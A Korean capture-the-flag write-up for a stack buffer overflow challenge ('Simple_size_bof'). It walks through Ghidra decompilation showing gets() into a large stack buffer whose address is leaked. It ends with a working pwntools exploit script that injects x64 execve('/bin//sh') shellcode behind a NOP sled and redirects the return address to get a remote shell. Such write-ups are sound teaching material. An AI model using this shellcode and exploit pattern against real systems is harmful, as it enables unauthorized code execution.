문제 파일을 다운로드 후 실행해보면 입력 대기 상태가 되기 이전에 두 가지 항목이 출력되는 것을 확인할 수 있습니다.
./Simple_size_bof
삐빅- 자살방지 문제입니다.
buf: 0x7ffca891b810
첫 번째 내용의 경우 아마 너무 부담갖지 말라는 뉘앙스의 조언으로 추측됩니다. 두 번째 항목의 경우 특정 memory 주소를 출력하는 것으로 보였습니다.
이후 입력에 대해서는 별도의 출력 없이 입력을 받은 뒤 종료되는 것을 확인할 수 있었습니다.
./Simple_size_bof
삐빅- 자살방지 문제입니다.
buf: 0x7ffca891b810
Test
Ghidra를 사용하여 Decompile 된 code를 먼저 확인하였습니다.
undefined8 main(void)
{
char local_6d38 [27952];
setvbuf(stdout,(char *)0x0,2,0);
puts(&DAT_00400728);
printf("buf: %p\n",local_6d38);
gets(local_6d38);
return 0;
}
local_6d38
배열을 선언 후 gets()
함수를 통해 입력받는 것을 확인할 수 있었습니다. 해당 variable의 크기를 통해 ret의 위치를 27952 + 8(sfp)
로 추정하였고 임의의 값을 입력해본 결과 segmentation fault가 발생하는 것을 통해 BOF 취약점이 있는 것을 확인할 수 있었습니다.
또한 앞서 출력되던 buf의 주소가 local_6d38 배열의 주소인 것을 통해 해당 배열에 shellcode를 삽입 후 ret을 조작하여 이를 실행하도록 exploit code를 구성하였습니다.
shellcode의 경우 x64용 24 Byte shellcode를 사용하였습니다. [참조]
#!/usr/bin/python3
import pwn
p = pwn.remote("ctf.j0n9hyun.xyz", 3005)
padding = b"\x90"
shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p.recvuntil("buf: ")
buf = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16)
pwn.log.info("buf: " + hex(buf))
payload = padding*10000
payload += shellcode
payload += padding*17936
payload += pwn.p64(buf)
p.sendline(payload)
p.interactive()